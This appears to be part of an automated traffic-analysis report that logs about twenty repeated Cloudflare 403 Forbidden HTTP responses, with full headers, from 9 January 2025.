Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:02 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:17 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jQK2q6qt68uBt8aMji6gkznYZVflgMF6vb0a7HtVOeahWuF1K%2BoBP0uMecM54eSqnYkgkfsrfzbCYUPerhiIz0dtdtVXcLUR%2FDh6txJy7euF1w4l%2FYIKKnSjdQtpjwKeFBatSk8eFlTPgHtQ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b83eac2c41df-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1710&min_rtt=1703&rtt_var=652&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1660034&cwnd=252&unsent_bytes=0&cid=51fc9d5ba5c70ab5&ts=134&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:03 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:18 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=csjWhCAaOSmZxFRN2Bw5fwzWr8x6YMlFEQhnDfORJiSFYJeTKAY8S%2BQUpXMPmLaSuEEkZ1lIuPZzuX4h0CJ1kjBmveOljZFlHvaV3Hs0NkVvNovOMjr9xf%2FrMVekqX5xfKEfJGw8itBYPOhu"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b842888b3350-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2002&min_rtt=2000&rtt_var=754&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1446260&cwnd=173&unsent_bytes=0&cid=c89ef03305a9ec2f&ts=151&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:03 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:18 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VdHu3Hhr31F0RKElpzvMbYqWrzbfo7OZN6CGG%2BdAsH5p9BACEtt98wJt0rGe3egJgBuMEJBgbSZjsY6VEXB6NWgjGxn4%2BAg%2FMdE%2BAA9wXOWXFPBRoGQ49CFuvSMjqO9R6Vdg%2FU%2FvEMXyv3Gb"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8465e31c440-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1681&min_rtt=1680&rtt_var=633&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1722713&cwnd=245&unsent_bytes=0&cid=9eb8c3b5f9ccbcbb&ts=135&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:04 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:19 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AFNWQrcDtITrz6de5B7LFWij35bOstN7UBqM%2BR2kcqZFXRnnfbVTBLXmmztZt1r6Ut8cNq1AHbpeL8cwgqK4CHO4xiI7pVXjy6hgJDLE1yBSoCLln41y%2BTG%2FyQ7NpCvBai8auY2V6y6JBauB"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b84a1d8f4263-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1731&min_rtt=1724&rtt_var=661&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1638608&cwnd=247&unsent_bytes=0&cid=42f2c668b4eb5c5f&ts=139&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:05 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:20 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wUU0hh%2FW6H7q9I7QxiSxkQvxYvB1%2B8ecd4PI8Uq4La7HEjkhO0ghyTQkssS0GbWphDuE48GuSWdxGhpbkgfzaG4lXom61Ba%2FwEnigdFFoEhvNq92VMdnG5usGc7nyzIRmdY5tIowtP62Ma%2Fc"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b84df855438a-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1604&min_rtt=1602&rtt_var=605&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1801357&cwnd=210&unsent_bytes=0&cid=f6e5dcfc91c11783&ts=150&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:05 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:20 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7qklqUuRIp1Bk0yH1rWGH7%2B4S6EhQARXnreTkj%2Bjm4EFwqkGtawv39EX6L8cn5MJ9PtcuOLO585kK%2FLxhxmgB7AcRvB7StmPUpH6QfuuCyaTgrRcIhShf2gBUO5Q2LncgB6rbrEep1YJUG4Q"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b852292a43af-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1627&min_rtt=1610&rtt_var=616&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1813664&cwnd=230&unsent_bytes=0&cid=2661794850775519&ts=144&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:06 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:21 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zbMPdpJ%2FSZCdkgQj13rfmTz%2BZ2fg5AXp2GNRvDlom%2Fwf073nEqut5X7nldJCb1Z4dp5X6xNyPrTozVmMudi5oTXbW6xdN8U7wn02E93kUDEykrmFtKYKSP3%2BqCv6qsCQyChvx5NsHdZt3l%2BR"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b855ec6e7d11-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1966&min_rtt=1959&rtt_var=750&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1445544&cwnd=252&unsent_bytes=0&cid=b3edf92a543ddb5d&ts=142&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:07 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:22 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SIcKtwtKQi2s8etd%2BTbcgRnob%2F6YTJ7NvTMFZOXHk7KYXMN8g%2FGzQtaxHoyctaf0fLGodzYEasKWdf1bB6HrFFHE6oabhjrLLT14Oxx2oZxsUORom1gF%2FxUeEdy%2FUfNwgCxyNCLwizYgw8DD"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b859ed92435c-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1611&min_rtt=1609&rtt_var=608&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1793611&cwnd=249&unsent_bytes=0&cid=afc30c5c4ae258c1&ts=150&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:07 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:22 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EP5MEvEB8BzLQ2cdvQGDd6nsbBAAjjf%2FT64psYXkXF6L8doQpo6YGULxcB0nKmxLuDNySOh%2FGcVXsDQGh4X2qUePP6y8LefWey21zHvpBBkjXVAZrzsaVpSzDC3GRYp0RTII4LoqymhY4EDN"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b85dfdce8c3c-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1946&min_rtt=1942&rtt_var=736&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1478481&cwnd=224&unsent_bytes=0&cid=4b97e4d657d6b721&ts=148&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:08 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:23 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uX0UNbAwz20xpCc6sinq%2FlciyUh0lPdjDV9F7yL0mY%2FtwiCb2oMNeanr7LQ%2ByvcW%2BCoraqH%2FaPRxL%2Fw1gtfB1L%2FFle9QA0VvSa69KIz0L5dHD2Wtyek6NY0p5wuoUJYik83sXMc6y2o0hS46"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8645c8b558f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1552&min_rtt=1541&rtt_var=586&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1894873&cwnd=160&unsent_bytes=0&cid=694e24d7000550de&ts=144&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:09 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:24 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uqtYtXvvWU8mcFJ02fRUFPY7JbCT1N7aCWfpJ0AzlQmVFAJcDH6%2F%2FlxmxV9PCq%2F%2FOgJSTEk76UlStmmofsdNxylONiTwJM0vbWfEk7gK7oeIsoba8fpf5OCOQJxDI5jS88gSh%2BCbNIkyyp%2BU"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8683ce88cba-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1986&min_rtt=1983&rtt_var=751&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1450571&cwnd=218&unsent_bytes=0&cid=a0a9c05fa1856afb&ts=151&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:09 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:24 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o9ZHyzYcbBFVmJ9R8G0yfCPUSh0hjAw93dvQ7NB7V%2BSlxupHTBFGPpb88cavdwi8knpmV8vox1EvgFMQpw9WrA4LkMiVCZSu%2Fa1fO8959xm%2Bt%2FG8pcCgYgDRnLC2NIoxlL0u3tlzdNr0oDqt"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b86c2a6f43e2-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2121&min_rtt=2114&rtt_var=798&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1381267&cwnd=219&unsent_bytes=0&cid=100f4d48b9b9fe5b&ts=151&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:10 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:25 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l560lx82654azWmiE9JGGkFdXCbNwtZQjP93zYa%2F3jLY6dCz3Lx5kfiC4x8qDIWvHefWh9lEvF3svDGFtMscqBXOc8GpuBIgbhpQ%2Ff6G3ye4pfRygwdeoUO9xVEN8aLTjtYzKtY0M%2FyeDW3s"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b86ffe60426b-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1735&min_rtt=1733&rtt_var=654&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1666666&cwnd=232&unsent_bytes=0&cid=bdbecd0c4e85298f&ts=142&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:11 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:26 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ow96NLZHTGKOKFxLP85E3l%2FabMP2uuI0SuWq5pIeO2rlRlF21e%2Bpk9BcrXyJuIecwehChAOW0W1LWbWmCYCmAKz0dQsAK8%2B5sYaF7VVTcJvR%2FZ0qKtrJUIN4jjAg1lSAbdiXyyaSS7xk8ChD"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b873dcae8cc6-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1978&min_rtt=1970&rtt_var=755&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1434889&cwnd=222&unsent_bytes=0&cid=75123ec26ca2921b&ts=151&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:11 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:26 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zYLpnJgpP3e3%2BsT03TyZSkdbCQ2CuWgWpMZ4V0Ag5Ratw4TkvIOSGjYE6nbnqtYE2%2B87TJSHYW4Uw81HOtQJ0s199QcYxaSMf2durNVsVBgdSYcjjU8rUv37gxauNS6cdyNZ9YUk5PP03n3r"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8779cd742b1-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1732&min_rtt=1732&rtt_var=650&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1682027&cwnd=211&unsent_bytes=0&cid=86c494cc0b0c99b1&ts=137&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:12 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:27 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5Xfoxq%2B1O1s9CVlvTkd3ttAT9LvtYxYswl2URwiypzu80RONnViQc3TfUchNZFQDdBX4KBspkhoUs03zmvrNnPUgccWm%2FclBeSxksGkvAe%2BQ8gg7g1UyfnXREvTBC2klicLkFfyO%2FhPqb33u"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b87c28671881-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1678&min_rtt=1674&rtt_var=636&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2855&recv_bytes=704&delivery_rate=1708601&cwnd=238&unsent_bytes=0&cid=1564538642e7ddcc&ts=141&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:13 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:28 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4oJlhQDJq%2Flz4zYpujh1Kug8Vc5WOPcFjz6mcbUyNHcOxAFdpxv9LTniPihAzJlTs5rei%2FuzHy2mmI0KFAM%2BZezZ%2BjNo%2BHnrmu3mcMcDybCFQnEOmhZY9KmaR%2BGqvXYBM7e854F81LRxxCmb"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8800e7c727b-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1900&min_rtt=1892&rtt_var=726&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1491317&cwnd=234&unsent_bytes=0&cid=d3bb71e008708ba0&ts=151&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:13 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:28 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jMJCswiQ3YBgx4rZc29CasPW0ioSO5hJT9roRW%2BgdLoytrgpiyw3llQW9joKRFEuTEDrjW0n%2BSMngNSGXR5W0lUBESIVetlOeGnMDEH2cIMcW9rfOjsQ1z8hTMvO%2BqaYDuGi%2B5nVabH0gg32"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b883dc1a8c6c-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1909&min_rtt=1888&rtt_var=750&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1420233&cwnd=168&unsent_bytes=0&cid=b5db19e617fff6c4&ts=147&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:14 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:29 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E%2B2jjfC%2Fi%2FBmkguYtle3N4u4NZTV5h7e5bDwTk2NPHaIM7XqDD7KT%2FJRIvgfXVWjPiX%2F0%2F5fdXW0dUAsmyX2HyO3B%2BAK2iheK3rc6XZEQFx%2FddT5PW3lc3IhzUEfiaAHiGEKTPaelM1W6ls3"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b8879f0e42ec-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1647&min_rtt=1640&rtt_var=629&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1719670&cwnd=183&unsent_bytes=0&cid=2ad820a998755717&ts=147&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:14 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:29 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RgdpLN%2Bg2uHl6tnsmxNWA169QsSwn%2Bi%2BLtB%2FND1yYB4Ynd3OVhTyYoTfJ%2BtpODIhiKzwUgXO74YfAX28ju8smo5wLPZA5Mf%2F%2FxMsbqIU7zgacX7qBWJTVhG1jkqkf3IBl6u3y9ZHCVctJpYN"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b88b98347c7b-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1973&min_rtt=1964&rtt_var=754&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1433480&cwnd=207&unsent_bytes=0&cid=8e17825f172a5bdf&ts=128&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:15 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:30 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WUaR4We30FIm8JWMGy5jHW1cOLhar8YiyRWCNVS2m%2FMKZ2UElH27RxGXAeFZvNSebrb7ZyJWnnJBZoZS3FSwTZzEfTK8csVfqjDuAiAG9RDWp%2Ffivw8omTPu2nGk71kVwp4p%2FR1gkmEdMu%2Bv"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b88f8c11422f-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2512&min_rtt=2500&rtt_var=962&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1123941&cwnd=137&unsent_bytes=0&cid=3daef5d1ae32d41e&ts=144&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:16 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:31 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WpsjK7ifA8M3V%2F5L2n1mKLm%2FEaIp0msi7PLQHfvQrlsMiwhbc7cXMZ2C2CTAtmL3E3Jdb712CRWKXMUh1%2FsDfyAqaopeXqmUwEX89nYqgVd%2B8jyIAPuUD7mbUI0KYXPVKB%2BscvopcofkqG7B"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b893690a728c-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1995&min_rtt=1986&rtt_var=764&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1414043&cwnd=166&unsent_bytes=0&cid=3b382fcb2c81e727&ts=150&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 09 Jan 2025 07:30:16 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=15Expires: Thu, 09 Jan 2025 07:30:31 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s20V3vAEz%2FZLu6WFzoORoAYIcOrk4i7FjaZzdXhBeK4AEZULBAKCbSZM4C3g3RDpNzr%2FI5g6i0ZL5AjTBjaL5UDZ62n3evzT%2FghRfOXI5%2Bt15cdDV6SsqfPQaH2j6ku%2BSyDkZZyz95PO%2FEak"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}expect-ct: max-age=86400, enforcereferrer-policy: same-originx-content-type-options: nosniffx-frame-options: SAMEORIGINx-xss-protection: 1; mode=blockServer: cloudflareCF-RAY: 8ff2b897ff1c4366-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1698&min_rtt=1693&rtt_var=645&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1682027&cwnd=200&unsent_bytes=0&cid=781f2be1ad1b5f40&ts=128&x=0"
